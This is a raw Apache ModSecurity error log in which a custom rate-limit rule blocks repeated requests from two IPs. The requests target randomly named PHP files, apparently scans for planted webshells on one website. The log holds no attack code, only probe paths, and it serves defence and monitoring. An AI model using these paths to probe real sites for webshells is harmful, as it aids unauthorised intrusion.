[Mon Apr 13 17:11:29.397100 2026] [:error] [pid 63311:tid 63382] [client 20.240.142.13:61609] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maintura.php"] [unique_id "adyzQaHjrGN1MqBCVFnQIwAAAIs"]
[Mon Apr 13 17:11:30.179792 2026] [:error] [pid 7228:tid 7235] [client 20.100.201.121:63722] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adyzQgEnn1dQrOSHHNVZGwAAAQU"]
[Mon Apr 13 17:11:30.568900 2026] [:error] [pid 7228:tid 7238] [client 20.100.201.121:64678] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adyzQgEnn1dQrOSHHNVZHAAAAQg"]
[Mon Apr 13 17:11:31.275670 2026] [:error] [pid 7228:tid 7236] [client 20.240.142.13:61930] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maintura.php"] [unique_id "adyzQwEnn1dQrOSHHNVZHwAAAQY"]
[Mon Apr 13 17:11:31.658971 2026] [:error] [pid 57183:tid 57197] [client 20.100.201.121:64650] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adyzQzDO3t8R5NaxzYTRBgAAAUw"]
[Mon Apr 13 17:11:32.521116 2026] [:error] [pid 57183:tid 57196] [client 20.240.142.13:60443] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maintura.php"] [unique_id "adyzRDDO3t8R5NaxzYTRBwAAAUs"]
[Mon Apr 13 17:11:32.609186 2026] [:error] [pid 57183:tid 57193] [client 20.100.201.121:64684] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adyzRDDO3t8R5NaxzYTRCAAAAUg"]
[Mon Apr 13 17:11:33.281425 2026] [:error] [pid 9314:tid 9324] [client 20.100.201.121:63703] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adyzRW_r4W8fX2GWyGTIbgAAAYg"]
[Mon Apr 13 17:11:33.978855 2026] [:error] [pid 7228:tid 7231] [client 20.100.201.121:64665] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adyzRQEnn1dQrOSHHNVZJgAAAQE"]
[Mon Apr 13 17:11:33.987388 2026] [:error] [pid 7228:tid 7249] [client 20.100.201.121:63677] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adyzRQEnn1dQrOSHHNVZJwAAARM"]
[Mon Apr 13 17:11:34.328176 2026] [:error] [pid 7228:tid 7242] [client 20.240.142.13:61610] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyzRgEnn1dQrOSHHNVZKAAAAQw"]
[Mon Apr 13 17:11:34.629741 2026] [:error] [pid 63406:tid 63419] [client 20.100.201.121:64102] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adyzRrHZEIkQ0Zmgp5ob2wAAAMg"]
[Mon Apr 13 17:11:35.037779 2026] [:error] [pid 63406:tid 63415] [client 20.100.201.121:64576] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adyzR7HZEIkQ0Zmgp5ob3AAAAMQ"]
[Mon Apr 13 17:11:35.275559 2026] [:error] [pid 7228:tid 7240] [client 20.100.201.121:63740] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adyzRwEnn1dQrOSHHNVZLAAAAQo"]
[Mon Apr 13 17:11:35.917216 2026] [:error] [pid 9314:tid 9336] [client 20.100.201.121:64633] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adyzR2_r4W8fX2GWyGTIdQAAAZQ"]
[Mon Apr 13 17:11:36.179905 2026] [:error] [pid 63310:tid 63364] [client 20.100.201.121:64120] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adyzSHoXpRU5ztmwPjIu3wAAAFQ"]
[Mon Apr 13 17:11:36.525421 2026] [:error] [pid 7228:tid 7230] [client 20.100.201.121:65109] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adyzSAEnn1dQrOSHHNVZLwAAAQA"]
[Mon Apr 13 17:11:37.250630 2026] [:error] [pid 7228:tid 7239] [client 20.100.201.121:64143] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adyzSQEnn1dQrOSHHNVZMgAAAQk"]
[Mon Apr 13 17:11:37.567776 2026] [:error] [pid 63311:tid 63395] [client 20.100.201.121:64121] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adyzSaHjrGN1MqBCVFnQLQAAAJg"]
[Mon Apr 13 17:11:37.971250 2026] [:error] [pid 9314:tid 9326] [client 20.240.142.13:59867] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyzSW_r4W8fX2GWyGTIdwAAAYo"]
[Mon Apr 13 17:11:37.971459 2026] [:error] [pid 9314:tid 9321] [client 20.100.201.121:63718] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adyzSW_r4W8fX2GWyGTIdgAAAYU"]
[Mon Apr 13 17:11:38.366697 2026] [:error] [pid 7228:tid 7250] [client 20.100.201.121:63662] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adyzSgEnn1dQrOSHHNVZNwAAARQ"]
[Mon Apr 13 17:11:38.651530 2026] [:error] [pid 7228:tid 7249] [client 20.100.201.121:64139] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adyzSgEnn1dQrOSHHNVZOAAAARM"]
[Mon Apr 13 17:11:39.280381 2026] [:error] [pid 57183:tid 57190] [client 20.100.201.121:63654] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adyzSzDO3t8R5NaxzYTRFAAAAUU"]
[Mon Apr 13 17:11:39.503009 2026] [:error] [pid 57183:tid 57209] [client 20.240.142.13:61592] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyzSzDO3t8R5NaxzYTRFgAAAVg"]
[Mon Apr 13 17:11:39.527811 2026] [:error] [pid 57183:tid 57202] [client 20.100.201.121:65145] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adyzSzDO3t8R5NaxzYTRFwAAAVE"]
[Mon Apr 13 17:11:39.855451 2026] [:error] [pid 63311:tid 63382] [client 20.100.201.121:64657] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adyzS6HjrGN1MqBCVFnQMwAAAIs"]
[Mon Apr 13 17:11:40.330327 2026] [:error] [pid 63309:tid 63318] [client 20.100.201.121:64698] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adyzTEpIKZ10weXpf0UCdwAAAAU"]
[Mon Apr 13 17:11:40.731861 2026] [:error] [pid 57183:tid 57206] [client 20.100.201.121:64603] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adyzTDDO3t8R5NaxzYTRHQAAAVU"]
[Mon Apr 13 17:11:41.428452 2026] [:error] [pid 7228:tid 7230] [client 20.100.201.121:64181] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adyzTQEnn1dQrOSHHNVZPAAAAQA"]
[Mon Apr 13 17:11:42.267778 2026] [:error] [pid 63311:tid 63384] [client 20.100.201.121:64098] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adyzTqHjrGN1MqBCVFnQOAAAAI0"]
[Mon Apr 13 17:11:42.926658 2026] [:error] [pid 9314:tid 9337] [client 20.240.142.13:62726] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyzTm_r4W8fX2GWyGTIewAAAZU"]
[Mon Apr 13 17:11:43.082214 2026] [:error] [pid 63311:tid 63375] [client 20.100.201.121:64691] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adyzT6HjrGN1MqBCVFnQOwAAAIQ"]
[Mon Apr 13 17:11:43.126660 2026] [:error] [pid 63309:tid 63334] [client 20.100.201.121:64698] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adyzT0pIKZ10weXpf0UCeAAAABU"]
[Mon Apr 13 17:11:43.776872 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:64091] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adyzT7HZEIkQ0Zmgp5ob3gAAANY"]
[Mon Apr 13 17:11:44.251192 2026] [:error] [pid 57183:tid 57190] [client 20.240.142.13:60529] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adyzUDDO3t8R5NaxzYTRJQAAAUU"]
[Mon Apr 13 17:11:44.799523 2026] [:error] [pid 9314:tid 9322] [client 20.100.201.121:64146] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adyzUG_r4W8fX2GWyGTIfwAAAYY"]
[Mon Apr 13 17:11:44.903200 2026] [:error] [pid 63406:tid 63416] [client 20.100.201.121:63690] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adyzULHZEIkQ0Zmgp5ob4gAAAMU"]
[Mon Apr 13 17:11:45.226452 2026] [:error] [pid 63406:tid 63422] [client 20.240.142.13:60737] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adyzUbHZEIkQ0Zmgp5ob5QAAAMs"]
[Mon Apr 13 17:11:45.689668 2026] [:error] [pid 63311:tid 63390] [client 20.100.201.121:64669] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adyzUaHjrGN1MqBCVFnQPQAAAJM"]
[Mon Apr 13 17:11:45.851958 2026] [:error] [pid 63311:tid 63387] [client 20.240.142.13:61927] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adyzUaHjrGN1MqBCVFnQPgAAAJA"]
[Mon Apr 13 17:11:46.306716 2026] [:error] [pid 63309:tid 63327] [client 20.100.201.121:65151] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adyzUkpIKZ10weXpf0UCfQAAAA4"]
[Mon Apr 13 17:11:46.471516 2026] [:error] [pid 9314:tid 9331] [client 20.100.201.121:64599] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adyzUm_r4W8fX2GWyGTIhAAAAY8"]
[Mon Apr 13 17:11:46.875058 2026] [:error] [pid 63311:tid 63378] [client 20.240.142.13:61595] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adyzUqHjrGN1MqBCVFnQQQAAAIc"]
[Mon Apr 13 17:11:46.880978 2026] [:error] [pid 9314:tid 9335] [client 20.100.201.121:65208] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adyzUm_r4W8fX2GWyGTIhQAAAZM"]
[Mon Apr 13 17:11:47.629777 2026] [:error] [pid 63406:tid 63413] [client 20.240.142.13:59856] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-220.php"] [unique_id "adyzU7HZEIkQ0Zmgp5ob6AAAAMI"]
[Mon Apr 13 17:11:48.504045 2026] [:error] [pid 63406:tid 63418] [client 20.240.142.13:61933] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-220.php"] [unique_id "adyzVLHZEIkQ0Zmgp5ob8QAAAMc"]
[Mon Apr 13 17:11:49.181694 2026] [:error] [pid 63406:tid 63416] [client 20.240.142.13:61577] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-220.php"] [unique_id "adyzVbHZEIkQ0Zmgp5ob9QAAAMU"]
[Mon Apr 13 17:11:49.847291 2026] [:error] [pid 63406:tid 63426] [client 20.240.142.13:62777] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-220.php"] [unique_id "adyzVbHZEIkQ0Zmgp5ob-gAAAM8"]
[Mon Apr 13 17:11:50.482818 2026] [:error] [pid 63406:tid 63416] [client 20.240.142.13:61934] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adyzVrHZEIkQ0Zmgp5ob_AAAAMU"]
[Mon Apr 13 17:11:51.026853 2026] [:error] [pid 63406:tid 63421] [client 20.240.142.13:60535] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adyzV7HZEIkQ0Zmgp5ocAQAAAMo"]
[Mon Apr 13 17:11:51.565058 2026] [:error] [pid 63406:tid 63427] [client 20.240.142.13:59886] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adyzV7HZEIkQ0Zmgp5ocBQAAANA"]
[Mon Apr 13 17:11:52.408962 2026] [:error] [pid 9314:tid 9332] [client 20.240.142.13:61625] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adyzWG_r4W8fX2GWyGTIkgAAAZA"]
[Mon Apr 13 17:11:53.350293 2026] [:error] [pid 7228:tid 7234] [client 20.240.142.13:62776] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fone1.php"] [unique_id "adyzWQEnn1dQrOSHHNVZQQAAAQQ"]
